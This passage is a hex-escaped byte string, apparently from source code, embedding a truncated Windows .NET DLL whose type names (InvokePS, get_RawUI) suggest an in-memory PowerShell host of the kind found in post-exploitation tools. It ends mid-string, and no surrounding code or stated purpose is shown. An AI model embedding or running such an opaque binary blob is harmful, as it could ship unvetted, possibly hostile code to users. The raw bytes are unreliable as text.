x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x03\x00\xe4\x4a\xbc\x63\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x22\x20\x0b\x01\x30\x00\x00\x2e\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x76\x4c\x00\x00\x00\x20\x00\x00\x00\x60\x00\x00\x00\x00\x00\x10\x00\x20\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x03\x00\x60\x85\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x4c\x00\x00\x4f\x00\x00\x00\x00\x60\x00\x00\xb8\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x0c\x00\x00\x00\xec\x4a\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x7c\x2c\x00\x00\x00\x20\x00\x00\x00\x2e\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60\x2e\x72\x73\x72\x63\x00\x00\x00\xb8\x03\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2e\x72\x65\x6c\x6f\x63\x00\x00\x0c\x00\x00\x00\x00\x80\x00\x00\x00\x02\x00\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x4c\x00\x00\x00\x00\x00\x00\x48\x00\x00\x00\x02\x00\x05\x00\x94\x24\x00\x00\x58\x26\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x30\x03\x00\x85\x00\x00\x00\x01\x00\x00\x11\x73\x0e\x00\x00\x06\x0a\x28\x0f\x00\x00\x0a\x0b\x07\x14\x6f\x10\x00\x00\x0a\x06\x07\x28\x11\x00\x00\x0a\x0c\x08\x6f\x12\x00\x00\x0a\x08\x6f\x13\x00\x00\x0a\x0d\x09\x6f\x14\x00\x00\x0a\x02\x6f\x15\x00\x00\x0a\x09\x6f\x14\x00\x00\x0a\x16\x6f\x16\x00\x00\x0a\x18\x17\x6f\x17\x00\x00\x0a\x09\x6f\x14\x00\x00\x0a\x72\x01\x00\x00\x70\x6f\x18\x00\x00\x0a\x09\x6f\x19\x00\x00\x0a\x26\xde\x14\x09\x2c\x06\x09\x6f\x1a\x00\x00\x0a\xdc\x08\x2c\x06\x08\x6f\x1a\x00\x00\x0a\xdc\x06\x6f\x1b\x00\x00\x0a\x74\x04\x00\x00\x02\x6f\x1a\x00\x00\x06\x2a\x00\x00\x00\x01\x1c\x00\x00\x02\x00\x28\x00\x38\x60\x00\x0a\x00\x00\x00\x00\x02\x00\x1b\x00\x4f\x6a\x00\x0a\x00\x00\x00\x00\x1e\x02\x28\x1c\x00\x00\x0a\x2a\x1e\x02\x7b\x01\x00\x00\x04\x2a\x1a\x72\x19\x00\x00\x70\x2a\x22\x17\x16\x73\x1d\x00\x00\x0a\x2a\x1e\x02\x7b\x02\x00\x00\x04\x2a\x2e\x28\x1e\x00\x00\x0a\x6f\x1f\x00\x00\x0a\x2a\x2e\x28\x1e\x00\x00\x0a\x6f\x20\x00\x00\x0a\x2a\x2e\x72\x31\x00\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xaa\x01\x00\x70\x73\x21\x00\x00\x0a\x7a\x06\x2a\x76\x02\x28\x22\x00\x00\x0a\x7d\x01\x00\x00\x04\x02\x73\x0f\x00\x00\x06\x7d\x02\x00\x00\x04\x02\x28\x23\x00\x00\x0a\x2a\x76\x02\x73\x3b\x00\x00\x06\x7d\x04\x00\x00\x04\x02\x28\x24\x00\x00\x0a\x02\x73\x25\x00\x00\x0a\x7d\x03\x00\x00\x04\x2a\x3a\x02\x7b\x03\x00\x00\x04\x05\x6f\x26\x00\x00\x0a\x26\x2a\x4a\x02\x7b\x03\x00\x00\x04\x72\x21\x03\x00\x70\x6f\x26\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x05\x72\x21\x03\x00\x70\x28\x27\x00\x00\x0a\x6f\x26\x00\x00\x0a\x26\x2a\x3a\x02\x7b\x03\x00\x00\x04\x03\x6f\x26\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x25\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x35\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x3a\x02\x7b\x03\x00\x00\x04\x03\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x45\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x59\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x32\x02\x7b\x03\x00\x00\x04\x6f\x29\x00\x00\x0a\x2a\x2e\x72\x6d\x03\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xd0\x04\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x45\x06\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xc4\x07\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x04\x00\x00\x04\x2a\x2e\x72\x43\x09\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xaa\x0a\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x09\x00\x00\x04\x2a\x22\x02\x03\x7d\x09\x00\x00\x04\x2a\x1e\x02\x7b\x0c\x00\x00\x04\x2a\x22\x02\x03\x7d\x0c\x00\x00\x04\x2a\x1e\x02\x7b\x06\x00\x00\x04\x2a\x22\x02\x03\x7d\x06\x00\x00\x04\x2a\x1e\x02\x7b\x07\x00\x00\x04\x2a\x22\x02\x03\x7d\x07\x00\x00\x04\x2a\x2e\x72\x2d\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x08\x00\x00\x04\x2a\x22\x02\x03\x7d\x08\x00\x00\x04\x2a\x2e\x72\x77\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xc3\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x0a\x00\x00\x04\x2a\x1e\x02\x7b\x0b\x00\x00\x04\x2a\x2e\x72\x05\x0d\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x6a\x0e\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xba\x0e\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x06\x0f\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x0d\x00\x00\x04\x2a\x22\x02\x03\x7d\x0d\x00\x00\x04\x2a\x1e\x02\x7b\x05\x00\x00\x04\x2a\x22\x02\x03\x7d\x05\x00\x00\x04\x2a\x1e\x02\x7b\x0e\x00\x00\x04\x2a\x22\x02\x03\x7d\x0e\x00\x00\x04\x2a\x13\x30\x03\x00\xec\x00\x00\x00\x02\x00\x00\x11\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x78\x28\x2a\x00\x00\x0a\x12\x00\x1f\x64\x28\x2b\x00\x00\x0a\x06\x7d\x05\x00\x00\x04\x02\x12\x01\xfe\x15\x27\x00\x00\x01\x12\x01\x16\x28\x2c\x00\x00\x0a\x12\x01\x16\x28\x2d\x00\x00\x0a\x07\x7d\x06\x00\x00\x04\x02\x17\x7d\x07\x00\x00\x04\x02\x1f\x0f\x7d\x08\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x20\xff\xff\xff\x7f\x28\x2a\x00\x00\x0a\x12\x00\x20\xff\xff\xff\x7f\x28\x2b\x00\x00\x0a\x06\x7d\x0a\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x64\x28\x2a\x00\x00\x0a\x12\x00\x1f\x64\x28\x2b\x00\x00\x0a\x06\x7d\x0b\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x64\x28\x2a\x00\x00\x0a\x12\x00\x20\xe8\x03\x00\x00\x28\x2b\x00\x00\x0a\x06\x7d\x0c\x00\x00\x04\x02\x12\x01\xfe\x15\x27\x00\x00\x01\x12\x01\x16\x28\x2c\x00\x00\x0a\x12\x01\x16\x28\x2d\x00\x00\x0a\x07\x7d\x0d\x00\x00\x04\x02\x72\x50\x0f\x00\x70\x7d\x0e\x00\x00\x04\x02\x28\x2e\x00\x00\x0a\x2a\x42\x53\x4a\x42\x01\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x76\x34\x2e\x30\x2e\x33\x30\x33\x31\x39\x00\x00\x00\x00\x05\x00\x6c\x00\x00\x00\x7c\x09\x00\x00\x23\x7e\x00\x00\xe8\x09\x00\x00\x48\x0a\x00\x00\x23\x53\x74\x72\x69\x6e\x67\x73\x00\x00\x00\x00\x30\x14\x00\x00\x54\x0f\x00\x00\x23\x55\x53\x00\x84\x23\x00\x00\x10\x00\x00\x00\x23\x47\x55\x49\x44\x00\x00\x00\x94\x23\x00\x00\xc4\x02\x00\x00\x23\x42\x6c\x6f\x62\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01\x57\x15\xa2\x09\x09\x02\x00\x00\x00\xfa\x01\x33\x00\x16\x00\x00\x01\x00\x00\x00\x34\x00\x00\x00\x05\x00\x00\x00\x0e\x00\x00\x00\x3b\x00\x00\x00\x33\x00\x00\x00\x2e\x00\x00\x00\x0e\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x13\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x85\x05\x01\x00\x00\x00\x00\x00\x06\x00\x84\x03\x64\x08\x06\x00\xf1\x03\x64\x08\x06\x00\xb8\x02\xf6\x07\x0f\x00\x84\x08\x00\x00\x06\x00\xe0\x02\x3c\x06\x06\x00\x67\x03\x3c\x06\x06\x00\x48\x03\x3c\x06\x06\x00\xd8\x03\x3c\x06\x06\x00\xa4\x03\x3c\x06\x06\x00\xbd\x03\x3c\x06\x06\x00\xf7\x02\x3c\x06\x06\x00\xcc\x02\x45\x08\x06\x00\xaa\x02\x45\x08\x06\x00\x2b\x03\x3c\x06\x06\x00\x12\x03\xf6\x04\x06\x00\x7e\x09\xb3\x05\x0a\x00\x90\x02\x16\x08\x0a\x00\x32\x01\x16\x08\x0a\x00\x57\x02\x16\x08\x0a\x00\x01\x0a\xd9\x09\x06\x00\xab\x00\xb3\x05\x06\x00\xca\x05\xb3\x05\x0a\x00\xe3\x00\xd9\x09\x06\x00\x0f\x07\x27\x06\x06\x00\x28\x07\x13\x0a\x06\x00\xe3\x07\xb3\x05\x0a\x00\xc7\x00\xfe\x05\x06\x00\x0e\x00\x57\x00\x0a\x00\x7c\x09\xfe\x05\x06\x00\x01\x00\x66\x05\x0a\x00\xec\x06\xd9\x09\x0a\x00\xfd\x06\xd9\x09\x0a\x00\x45\x05\xfe\x05\x0a\x00\x93\x08\xfe\x05\x0a\x00\xdc\x08\xfe\x05\x0a\x00\x15\x01\xd9\x09\x06\x00\x1a\x05\x37\x0a\x0a\x00\xe0\x04\xd9\x09\x0a\x00\xd0\x08\xd9\x09\x0a\x00\x9a\x05\xd9\x09\x0a\x00\x95\x01\xd9\x09\x0a\x00\x1b\x07\xd9\x09\x0a\x00\xf2\x08\xd9\x09\x0a\x00\x4b\x07\xfe\x05\x0a\x00\x27\x0a\x16\x08\x0a\x00\x4e\x06\x16\x08\x0a\x00\xb0\x00\x16\x08\x0a\x00\xbc\x08\x16\x08\x06\x00\x89\x01\xb3\x05\x06\x00\x9d\x00\xe5\x04\x06\x00\xd4\x06\xb3\x05\x06\x00\x29\x05\xb3\x05\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x10\x00\x60\x07\x60\x07\x41\x00\x01\x00\x01\x00\x03\x00\x10\x00\xfb\x09\x00\x00\x51\x00\x01\x00\x03\x00\x03\x00\x10\x00\xdd\x00\x00\x00\x5d\x00\x03\x00\x0f\x00\x03\x00\x10\x00\xf7\x00\x00\x00\x91\x00\x05\x00\x22\x00\x01\x00\x8a\x00\xac\x00\x01\x00\x41\x05\xb0\x00\x01\x00\x53\x00\xb4\x00\x01\x00\x3a\x05\xb8\x00\x01\x00\xd9\x04\xbc\x00\x01\x00\x86\x06\xc1\x00\x01\x00\x5d\x04\xc6\x00\x01\x00\x99\x07\xc9\x00\x01\x00\xd2\x07\xc9\x00\x01\x00\xa1\x04\xbc\x00\x01\x00\xca\x04\xbc\x00\x01\x00\x33\x04\xbc\x00\x01\x00\xbc\x06\xc1\x00\x01\x00\xc9\x01\xcd\x00\x50\x20\x00\x00\x00\x00\x96\x00\x35\x00\xd0\x00\x01\x00\x00\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x02\x00\x08\x21\x00\x00\x00\x00\xc6\x08\x72\x00\xd5\x00\x02\x00\x10\x21\x00\x00\x00\x00\xc6\x08\xd6\x01\x8d\x00\x02\x00\x17\x21\x00\x00\x00\x00\xc6\x08\xc6\x05\xda\x00\x02\x00\x20\x21\x00\x00\x00\x00\xc6\x08\x24\x00\x66\x00\x02\x00\x28\x21\x00\x00\x00\x00\xc6\x08\x75\x02\x77\x00\x02\x00\x34\x21\x00\x00\x00\x00\xc6\x08\x60\x02\x77\x00\x02\x00\x40\x21\x00\x00\x00\x00\xc6\x00\xb6\x09\x06\x00\x02\x00\x4c\x21\x00\x00\x00\x00\xc6\x00\xc8\x09\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\xe7\x05\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\xd2\x05\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\x90\x09\x01\x00\x02\x00\x5a\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x03\x00\x78\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x03\x00\x96\x21\x00\x00\x00\x00\xc6\x00\xa4\x02\xdf\x00\x03\x00\xa5\x21\x00\x00\x00\x00\xc6\x00\x18\x02\x06\x00\x06\x00\xb8\x21\x00\x00\x00\x00\xc6\x00\x18\x02\xdf\x00\x06\x00\xd1\x21\x00\x00\x00\x00\xc6\x00\xa4\x02\x10\x00\x09\x00\xe0\x21\x00\x00\x00\x00\xc6\x00\x33\x02\x10\x00\x0a\x00\xf9\x21\x00\x00\x00\x00\xc6\x00\x42\x02\x10\x00\x0b\x00\x12\x22\x00\x00\x00\x00\xc6\x00\x18\x02\x10\x00\x0c\x00\x21\x22\x00\x00\x00\x00\xc6\x00\x07\x02\x10\x00\x0d\x00\x3a\x22\x00\x00\x00\x00\xc6\x00\x22\x02\x10\x00\x0e\x00\x58\x21\x00\x00\x00\x00\xc6\x00\x16\x09\xe8\x00\x0f\x00\x53\x22\x00\x00\x00\x00\x86\x08\x08\x0a\x8d\x00\x11\x00\x60\x22\x00\x00\x00\x00\xc6\x00\xd2\x09\xef\x00\x11\x00\x6c\x22\x00\x00\x00\x00\xc6\x00\x3b\x01\x01\x01\x14\x00\x78\x22\x00\x00\x00\x00\xc6\x00\x52\x05\x0f\x01\x18\x00\x84\x22\x00\x00\x00\x00\xc6\x00\x52\x05\x1f\x01\x1e\x00\x90\x22\x00\x00\x00\x00\xc6\x08\x2b\x00\x29\x01\x22\x00\x98\x22\x00\x00\x00\x00\xc6\x00\xf3\x01\x8d\x00\x22\x00\xa4\x22\x00\x00\x00\x00\xc6\x00\x10\x05\x2f\x01\x22\x00\xb0\x22\x00\x00\x00\x00\xc6\x08\xaa\x07\x35\x01\x22\x00\xb8\x22\x00\x00\x00\x00\xc6\x08\xbe\x07\x3a\x01\x22\x00\xc1\x22\x00\x00\x00\x00\xc6\x08\x15\x04\x40\x01\x23\x00\xc9\x22\x00\x00\x00\x00\xc6\x08\x24\x04\x46\x01\x23\x00\xd2\x22\x00\x00\x00\x00\xc6\x08\x60\x06\x4d\x01\x24\x00\xda\x22\x00\x00\x00\x00\xc6\x08\x73\x06\x53\x01\x24\x00\xe3\x22\x00\x00\x00\x00\xc6\x08\x3f\x04\x5a\x01\x25\x00\xeb\x22\x00\x00\x00\x00\xc6\x08\x4e\x04\x01\x00\x25\x00\xf4\x22\x00\x00\x00\x00\xc6\x00\x36\x07\x06\x00\x26\x00\x00\x23\x00\x00\x00\x00\xc6\x08\x71\x07\x35\x01\x26\x00\x08\x23\x00\x00\x00\x00\xc6\x08\x85\x07\x3a\x01\x26\x00\x11\x23\x00\x00\x00\x00\xc6\x00\x48\x09\x5e\x01\x27\x00\x1d\x23\x00\x00\x00\x00\xc6\x08\x78\x01\x6d\x01\x28\x00\x29\x23\x00\x00\x00\x00\xc6\x08\x87\x04\x40\x01\x28\x00\x31\x23\x00\x00\x00\x00\xc6\x08\xb8\x04\x40\x01\x28\x00\x39\x23\x00\x00\x00\x00\xc6\x00\x1f\x0a\x71\x01\x28\x00\x45\x23\x00\x00\x00\x00\xc6\x00\x33\x09\x7a\x01\x29\x00\x51\x23\x00\x00\x00\x00\xc6\x00\x5a\x09\x8a\x01\x2d\x00\x5d\x23\x00\x00\x00\x00\xc6\x00\x5a\x09\x94\x01\x2f\x00\x69\x23\x00\x00\x00\x00\xc6\x08\x96\x06\x4d\x01\x31\x00\x71\x23\x00\x00\x00\x00\xc6\x08\xa9\x06\x53\x01\x31\x00\x7a\x23\x00\x00\x00\x00\xc6\x08\x69\x04\x40\x01\x32\x00\x82\x23\x00\x00\x00\x00\xc6\x08\x78\x04\x46\x01\x32\x00\x8b\x23\x00\x00\x00\x00\xc6\x08\xa9\x01\x8d\x00\x33\x00\x93\x23\x00\x00\x00\x00\xc6\x08\xb9\x01\x10\x00\x33\x00\x9c\x23\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x34\x00\x00\x00\x01\x00\xb8\x00\x00\x00\x01\x00\x60\x01\x00\x00\x01\x00\x9a\x07\x00\x00\x02\x00\xd3\x07\x00\x00\x03\x00\x0f\x04\x00\x00\x01\x00\x9a\x07\x00\x00\x02\x00\xd3\x07\x00\x00\x03\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x81\x00\x00\x00\x02\x00\xd6\x00\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\x01\x09\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\x3d\x08\x00\x00\x04\x00\x4b\x01\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\xdf\x01\x00\x00\x04\x00\xe8\x01\x00\x00\x05\x00\xa5\x08\x00\x00\x06\x00\x0e\x09\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\xdf\x01\x00\x00\x04\x00\xe8\x01\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x9f\x01\x00\x00\x01\x00\x0e\x09\x00\x00\x01\x00\x59\x01\x00\x00\x02\x00\x1b\x06\x00\x00\x03\x00\x23\x07\x00\x00\x04\x00\xa5\x05\x00\x00\x01\x00\x9f\x01\x00\x00\x02\x00\xa5\x05\x00\x00\x01\x00\xbf\x05\x00\x00\x02\x00\x6c\x09\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x09\x00\xf0\x07\x01\x00\x11\x00\xf0\x07\x06\x00\x19\x00\xf0\x07\x0a\x00\x29\x00\xf0\x07\x10\x00\x31\x00\xf0\x07\x10\x00\x39\x00\xf0\x07\x10\x00\x41\x00\xf0\x07\x10\x00\x49\x00\xf0\x07\x10\x00\x51\x00\xf0\x07\x10\x00\x59\x00\xf0\x07\x10\x00\x61\x00\xf0\x07\x15\x00\x69\x00\xf0\x07\x10\x00\x71\x00\xf0\x07\x10\x00\x79\x00\xf0\x07\x10\x00\x89\x00\x9e\x09\x25\x00\x89\x00\x47\x07\x2a\x00\x69\x01\x2c\x01\x31\x00\x91\x00\xba\x05\x06\x00\x91\x00\x51\x02\x3a\x00\x99\x00\x09\x08\x3f\x00\x71\x01\xac\x09\x10\x00\x0c\x00\xaa\x05\x4d\x00\x79\x01\x24\x09\x53\x00\x71\x01\xa4\x00\x10\x00\x99\x00\x71\x01\x5d\x00\x89\x01\x88\x02\x06\x00\xa1\x00\x24\x00\x66\x00\x81\x00\xf0\x07\x06\x00\xb1\x00\xf0\x07\x6b\x00\x91\x01\x92\x00\x71\x00\x91\x01\x75\x02\x77\x00\x91\x01\x60\x02\x77\x00\x99\x01\xf0\x07\x10\x00\xa9\x00\xa8\x00\x7c\x00\xa1\x00\xf0\x07\x06\x00\xb9\x00\xf0\x07\x06\x00\xc9\x00\xf0\x07\x06\x00\xc9\x00\xc0\x00\x81\x00\xa1\x01\x75\x09\x87\x00\xc9\x00\xfc\x01\x81\x00\x81\x00\x27\x05\x8d\x00\x31\x01\x30\x05\x01\x00\x31\x01\x85\x09\x01\x00\x39\x01\x3e\x00\x01\x00\x39\x01\x44\x00\x01\x00\x21\x01\xf0\x07\x06\x00\x2e\x00\x0b\x00\xdb\x01\x2e\x00\x13\x00\xe4\x01\x2e\x00\x1b\x00\x03\x02\x2e\x00\x23\x00\x0c\x02\x2e\x00\x2b\x00\x22\x02\x2e\x00\x33\x00\x22\x02\x2e\x00\x3b\x00\x22\x02\x2e\x00\x43\x00\x0c\x02\x2e\x00\x4b\x00\x28\x02\x2e\x00\x53\x00\x22\x02\x2e\x00\x5b\x00\x22\x02\x2e\x00\x63\x00\x40\x02\x2e\x00\x6b\x00\x6a\x02\x2e\x00\x73\x00\x77\x02\x1a\x00\x91\x00\x03\x00\x01\x00\x04\x00\x07\x00\x05\x00\x09\x00\x00\x00\x76\x00\xa4\x01\x00\x00\xee\x01\xa9\x01\x00\x00\xca\x05\xad\x01\x00\x00\x32\x00\xb2\x01\x00\x00\x79\x02\xb7\x01\x00\x00\x64\x02\xb7\x01\x00\x00\x0c\x0a\xa9\x01\x00\x00\x2f\x00\xbc\x01\x00\x00\xc2\x07\xc2\x01\x00\x00\x28\x04\xc7\x01\x00\x00\x77\x06\xcd\x01\x00\x00\x52\x04\xd3\x01\x00\x00\x89\x07\xc2\x01\x00\x00\x7c\x01\xd7\x01\x00\x00\x8b\x04\xc7\x01\x00\x00\xbc\x04\xc7\x01\x00\x00\xad\x06\xcd\x01\x00\x00\xce\x04\xc7\x01\x00\x00\xbd\x01\xa9\x01\x02\x00\x03\x00\x03\x00\x02\x00\x04\x00\x05\x00\x02\x00\x05\x00\x07\x00\x02\x00\x06\x00\x09\x00\x02\x00\x07\x00\x0b\x00\x02\x00\x08\x00\x0d\x00\x02\x00\x1a\x00\x0f\x00\x02\x00\x1f\x00\x11\x00\x02\x00\x22\x00\x13\x00\x01\x00\x23\x00\x13\x00\x02\x00\x24\x00\x15\x00\x01\x00\x25\x00\x15\x00\x02\x00\x26\x00\x17\x00\x01\x00\x27\x00\x17\x00\x02\x00\x28\x00\x19\x00\x01\x00\x29\x00\x19\x00\x02\x00\x2b\x00\x1b\x00\x01\x00\x2c\x00\x1b\x00\x02\x00\x2e\x00\x1d\x00\x02\x00\x2f\x00\x1f\x00\x02\x00\x30\x00\x21\x00\x02\x00\x35\x00\x23\x00\x01\x00\x36\x00\x23\x00\x02\x00\x37\x00\x25\x00\x01\x00\x38\x00\x25\x00\x02\x00\x39\x00\x27\x00\x01\x00\x3a\x00\x27\x00\x45\x00\x04\x80\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9a\x00\x4a\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x00\xfe\x05\x00\x00\x00\x00\x03\x00\x02\x00\x04\x00\x02\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x60\x31\x00\x44\x69\x63\x74\x69\x6f\x6e\x61\x72\x79\x60\x32\x00\x3c\x4d\x6f\x64\x75\x6c\x65\x3e\x00\x67\x65\x74\x5f\x55\x49\x00\x67\x65\x74\x5f\x52\x61\x77\x55\x49\x00\x49\x6e\x76\x6f\x6b\x65\x50\x53\x00\x73\x65\x74\x5f\x58\x00\x73\x65\x74\x5f\x59\x00\x6d\x73\x63\x6f\x72\x6c\x69\x62\x00\x5f\x73\x62\x00\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f